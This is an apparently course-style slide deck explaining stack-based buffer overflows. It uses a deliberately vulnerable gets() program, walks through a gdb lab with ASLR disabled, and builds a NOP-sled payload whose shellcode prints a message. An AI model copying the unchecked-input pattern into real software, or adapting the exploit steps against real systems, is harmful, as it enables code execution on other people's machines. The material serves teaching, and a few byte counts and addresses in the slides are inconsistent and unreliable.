

# DEEP DIVE INTO STACK-BASED BUFFER OVERFLOWS

# Agenda

- Understand normal execution
- Understand buffer overflow
- Demonstrate with example code
  - Video provides demonstration of how to work with the example code
  - <https://youtu.be/RfnsErBoGw0>

# Normal Execution Example

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```



```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x22222222

0x22222226

ESP →

STACK

0x33333330	...
0x33333334	...
0x33333338	...
0x3333333C	...
0x33333340	...
0x33333344	...
0x33333448	... stuff ...
0x3333344C	... stuff ...

- *There is stuff on the stack, but it is irrelevant to us at this point.*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	...
0x33333334	...
0x33333338	...
0x3333333C	...
0x33333340	...
0x33333344	0x8888888C
0x33333348	... stuff ...
0x3333334C	... stuff ...

- *RETURN\_ADDRESS is pushed on stack so function will return to 0x8888888C (exit();)*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	...
0x33333334	...
0x33333338	...
0x3333333C	...
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333348	... stuff ...
0x3333334C	... stuff ...

- *EBP (base pointer) is pushed on stack.*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	...
0x33333334	...
0x33333338	...
0x3333333C	...
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333348	... stuff ...
0x3333334C	... stuff ...

- *EIP is set to address of myecho() and function is called*

# Overview of Normal Execution

```
void myecho(void) {  
     char buffer[16];    ESP →  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

STACK

0x33333330	... buffer ...
0x33333334	... buffer ...
0x33333338	... buffer ...
0x3333333C	... buffer ...
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

- *ESP (stack pointer) is moved to make room on the stack for 32-byte buffer.*
- *Buffer contents are uninitialized at this point.*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```



ESP →

STACK

0x33333330	... buffer ...
0x33333334	... buffer ...
0x33333338	... buffer ...
0x3333333C	... buffer ...
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

- Gets() asks the user for input via command line prompt.

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
0x88888888 void main(void) {  
0x8888888C     myecho();  
                  exit(0);  
}
```

ESP →

STACK

0x33333330	0x41424344
0x33333334	0x45464748
0x33333338	0x494A4B4C
0x3333333C	0x4D4E4F00
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

- User enters “ABCDEFGHIJKLMNO”
- Values are stored in buffer on stack.  
*Remember ASCII ‘A’ = 0x41*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
     printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

ESP →

STACK

0x33333330	0x41424344
0x33333334	0x45464748
0x33333338	0x494A4B4C
0x3333333C	0x4D4E4F00
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

*“ABCDEFGHIJKLMNO” is printed to STDOUT*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
 return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	0x41424344
0x33333334	0x45464748
0x33333338	0x494A4B4C
0x3333333C	0x4D4E4F00
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

*Let's look at what happens when the function returns.*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

ESP →

STACK

0x33333330	0x41424344
0x33333334	0x45464748
0x33333338	0x494A4B4C
0x3333333C	0x4D4E4F00
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

- *ESP is moved to the end of the local variables. Buffer contents are still there until they get overwritten by something else.*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

ESP →

STACK

0x33333330	0x41424344
0x33333334	0x45464748
0x33333338	0x494A4B4C
0x3333333C	0x4D4E4F00
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

*ESP pointer is popped into EBP (base pointer).  
EBP = SAVED\_EBP*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	0x41424344
0x33333334	0x45464748
0x33333338	0x494A4B4C
0x3333333C	0x4D4E4F00
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

*ESP pointer is popped into EIP (instruction pointer).  
EIP = 0x888888C (address of exit())*

# Overview of Normal Execution

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```



STACK

0x33333330	0x41424344
0x33333334	0x45464748
0x33333338	0x494A4B4C
0x3333333C	0x4D4E4F00
0x33333340	SAVED_EBP
0x33333344	0x8888888C
0x33333448	... stuff ...
0x3333344C	... stuff ...

EIP = 0x888888C

*So the next instruction executed is exit()*

# Buffer Overflow Example

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}  
  
void main(void) {  
    myecho();  
    exit(0);  
}
```

*Neither the length nor the contents of the user input is checked!*

*Thus the attacker can write anything they want onto the stack...*

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	<b>0x41414141</b>
0x33333334	<b>0x42424242</b>
0x33333338	<b>0x43434343</b>
0x3333333C	<b>0x44444444</b>
0x33333340	<b>0x45454545</b>
0x33333344	<b>0x30333333</b>
0x33333348	<b>0x00 stuff...</b>
0x3333334C	<b>... stuff ...</b>



- User enters “AAAABBBBCCCCDDDDDEEEE0333”
- Values are stored in buffer on stack.
- ASCII ‘3’ = 0x33 and ‘0’ = 0x30
- Remember values are stored as little endian

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
     printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	0x41414141
0x33333334	0x42424242
0x33333338	0x43434343
0x3333333C	0x44444444
0x33333340	0x45454545
0x33333344	0x30333333
0x33333348	0x00 stuff...
0x3333334C	... stuff ...

*"AAAABBBBCCCCDDDEEEE3330" is printed to STDOUT*

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
     return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	0x41414141
0x33333334	0x42424242
0x33333338	0x43434343
0x3333333C	0x44444444
0x33333340	0x45454545
0x33333344	0x30333333
0x33333348	0x00 stuff...
0x3333334C	... stuff ...

*Let's look at what happens when the function returns.*

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```



STACK

0x33333330	0x41414141
0x33333334	0x42424242
0x33333338	0x43434343
0x3333333C	0x44444444
0x33333340	0x45454545
0x33333344	0x30333333
0x33333348	0x00 stuff...
0x3333334C	... stuff ...

- *ESP is moved to the end of the local variables. Buffer contents are still there until they get overwritten by something else.*

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

ESP →

STACK

0x33333330	0x41414141
0x33333334	0x42424242
0x33333338	0x43434343
0x3333333C	0x44444444
0x33333340	0x45454545
0x33333344	0x30333333
0x33333348	0x00 stuff...
0x3333334C	... stuff ...

*ESP pointer is popped into EBP (base pointer).  
EBP = 0x45454545 (instead of SAVED\_EBP)*

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

ESP →

STACK

0x33333330	0x41414141
0x33333334	0x42424242
0x33333338	0x43434343
0x3333333C	0x44444444
0x33333340	0x45454545
0x33333344	0x30333333
0x33333448	0x00 stuff...
0x3333344C	... stuff ...

*ESP pointer is popped into EIP (instruction pointer).*

*EIP = 0x33333330 (address of buffer on stack)*

*Remember values are stored as little endian.*

# Buffer Overflow Example

```
void myecho(void) {  
    char buffer[16];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}
```

```
void main(void) {  
    myecho();  
    exit(0);  
}
```

0x88888888  
0x8888888C

STACK

0x33333330	0x41414141
0x33333334	0x42424242
0x33333338	0x43434343
0x3333333C	0x44444444
0x33333340	0x45454545
0x33333344	0x30333333
0x33333448	0x00 stuff...
0x3333344C	... stuff ...

ESP

EIP = 0x33333330

*So the next instruction is the buffer! Win!*

*This example will crash, but attacker can manipulate the content of buffer as desired.*

# Buffer Overflow Attack

```
void myecho(void) {  
    char buffer[32];  
    gets(buffer);  
    printf("%s\n", buffer);  
    return;  
}  
  
void main(void) {  
    myecho();  
    exit();  
}
```

*Ultimately, the attacker wants to write “shellcode”, which is executable machine instructions to accomplish the attacker’s goal.*

*Usually the goal is to open a network connection, beacon home, run a program, etc.*

*Shellcode payloads can be generated in Metasploit or found online.*

# Demonstrating the Example

Video Demonstration: <https://youtu.be/RfnsErBoGw0>

# In a Kali Virtual Machine:

- Disable ASLR “just to be sure”
  - echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space
- Write the example code into a file named ‘myecho.c’
- Compile the example code
  - gcc -g -z execstack myecho.c -o myecho *ignore the warning...*

# Normal Execution

- ◎ gdb myecho
  - Type “run” and press enter
  - Type “AAAABBBBCCCCDDDD” and press enter
    - String is echoed and “process exited normally”
  - Type “quit” and press enter

# Crash the Execution

- ◎ gdb myecho
  - Type “run” and press enter
  - Type “AAAABBBBCCCCDDDDEEEEFFFF” and press enter
    - String is echoed and “process exited normally”
    - Why didn’t it crash?? We provided more than 24 bytes (16 byte buf + 4 saved\_ebp + 4 ret\_addr)

# Crash the Execution

- gdb myecho
  - Type “run” and press enter
  - Type“AAAABBBBCCCCDDDDDEEEEFFFFGGGGHHHH” and press enter
    - Program received signal SIGSEGV, Segmentation fault.
    - 0x48484848 in ?? ()
  - EIP = 0x48484848 = “HHHH”
  - Thus there are 8 extra bytes on the stack between my buffer and the return address!

# Investigate the Crash

- ◎ Inside the segfault GDB session
  - info reg
    - Shows all the register contents
  - x /64xw \$esp-32
    - Shows stack memory
    - 0x41414141 is start of our buffer
  - list
    - Displays source code (if compiled with -g)
  - break <line\_number\_from\_list\_command>
    - Add breakpoint at line from source code listing

# Put It All Together

- mybigecho.c
  - Same code logic
  - Buffer increased to 256 bytes to give us room for shellcode
  - I found 50-byte shellcode online that prints a message to STDOUT
    - <http://stackoverflow.com/questions/15593214/linux-shellcode-hello-world>
- gcc -g -z execstack mybigecho.c -o mybigecho

# Shellcode

- We need a 272 byte payload
  - 206 byte NOP-sled
  - 50 byte shellcode that prints “Howdy Texas”
  - 8 extra bytes on stack
  - 4 byte saved\_ebp
  - 4 byte return\_address
- Craft the payload
  - perl -e ‘print “\x90”x206 > buf\_print
  - cat shellcode >> buf\_print
  - perl -e ‘print “\x90”x16 >> buf\_print
  - Hexedit buf\_print (change the last 4 bytes to your stack address)

# Attack!

- ⦿ We have gained execution of our own code and printed “Howdy Texas!!!!” to Standard Out.

# Conclusion

# 3 Main Ideas

- Cyber Security is a perpetual cycle between attackers and defenders
- Overview of Stack-based Buffer Overflows
- Tools Essential to Software Exploitation
  - gdb
  - gcc
  - hexedit
  - perl / python
  - Kali Linux virtual machine

# Future Work

- This cycle lays the foundation for exploration into software exploitation tools, techniques, and mitigations.
- Future work could include:
  - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)
  - Complex attacks, such as Return-oriented Programming and Jump-oriented Programming
  - Demonstration of tools that aid in creation of ROP attacks, such as ROPEME, mona.py, and ropper
  - Mitigations that make ROP more difficult, such as the Enhanced Mitigation Experience Toolkit (EMET)

# References

- Alnitak. (2009, January 18). *How to load program reading STDIN and taking parameters in GDB*. Stack Overflow. Retrieved from <http://stackoverflow.com/questions/455544/how-to-load-program-reading-stdin-and-taking-parameters-in-gdb>
- Bowne, S. (2014, June 1). *Linux Buffer Overflow*. Retrieved from <https://samsclass.info/123/proj14/lbuf1.htm>
- Krishnan, A. (2014, June 26). *Linux Shellcode “Hello, World!”*. Stack Overflow. Retrieved from <http://stackoverflow.com/questions/15593214/linux-shellcode-hello-world>
- Miller, A. (2013, October 30). *How to turn off DEP data execution prevention without reboot*. Stack Overflow. Retrieved from <http://stackoverflow.com/questions/5428164/how-to-turn-off-dep-data-execution-prevention-without-reboot>
- Wikipedia. (2016, January 19). *ASCII*. Retrieved from <https://en.wikipedia.org/wiki/ASCII>

Post Questions and Comments  
to the Discussion Board